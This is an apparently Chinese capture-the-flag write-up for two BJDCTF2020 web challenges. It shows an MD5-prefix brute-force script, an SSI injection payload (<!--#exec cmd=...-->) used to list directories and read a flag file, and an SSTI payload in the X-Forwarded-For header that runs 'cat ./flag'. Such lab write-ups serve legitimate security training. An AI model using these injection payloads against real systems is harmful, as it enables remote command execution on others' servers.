2.12 [BJDCTF2020]EasySearch&The mystery of ip

EasySearch

打开题目先随便输入,发现会弹框。在扫描一下目录,发现.swp备份文件。

打开index.php.swp页面:

阅读这段源码:首先是随机获取文件名的一个函数,最关键的是让password前6个字符的md5加密值等于6d0bc1,然后会在public目录下创建一个shtml文件,再将post传参的username字段写入这个shtml文件中。
首先写个脚本让password前6个字符的md5值等于6d0bc1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib

a= "0123456789"
for o in a:
for p in a:
for q in a:
for r in a:
for s in a:
for t in a:
for u in a:
b = str(o)+str(p)+str(q)+str(r)+str(s)+str(t)+str(u)
md5 = hashlib.md5(b.encode('utf-8')).hexdigest()
if ((md5[0:6])=='6d0bc1'):
print b

可以爆破出很多,我拿2020666来进行传参。

成功利用,然后就是访问这个新建的shtml文件了,抓包发现在响应包中有这个文件的路径


到这利用了SSI注入漏洞,所以我们可以在username变量中传入ssi语句来远程执行系统命令。
1
<!--#exec cmd="命令"-->

首先ls一下当前目录:

发现成功利用,没有进行任何过滤。
然后我们在ls一下上一级目录:

发现了 ‘flag_990c66bf85a09c664f0b6741840499b2’ 文件,最后我们把这个文件cat出来,遍得到flag。


The mystery of ip

这道题我在做的时候试了好多方法,虽然扫描目录的时候发现了.ds_store文件但是没有权限。这个思路行不通,最后还是看了别的师傅的博客,原来是X-Forwarded-For参数可控,使用的是ssti模板注入2333….
payload:

1
X-Forwarded-For:{{system('cat ./flag')}}

#
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×